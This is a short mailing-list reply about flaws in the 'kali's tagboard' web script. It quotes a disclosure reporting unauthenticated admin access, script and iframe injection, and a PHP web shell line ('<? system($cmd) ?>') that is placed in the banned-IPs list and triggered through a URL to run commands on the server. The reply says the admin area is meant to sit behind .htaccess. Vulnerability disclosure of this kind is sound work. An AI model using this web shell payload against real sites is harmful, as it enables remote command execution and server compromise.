Re: Vulnerability kali's tagboard

[Jason Dodson <jasond@xxxxxxxxxxxx>]

I think the idea is that the admin script be behind .htaccess 
restrictions, NOT maintained by the software itself.

Jason

piker piker wrote:
> There are some bugs in the kali's tagboard, you can access to the admin system 
> without password!, you can put iframes, scripts...
> But the most vulnerabilitie is in the ban ip's, you can put this script: 
> " <? system($cmd) ?> " and execute commands in the server with this url:
> Example: http://web.com/tag/admin/banned.php?&cmd=command.
>
>
> Am0s Team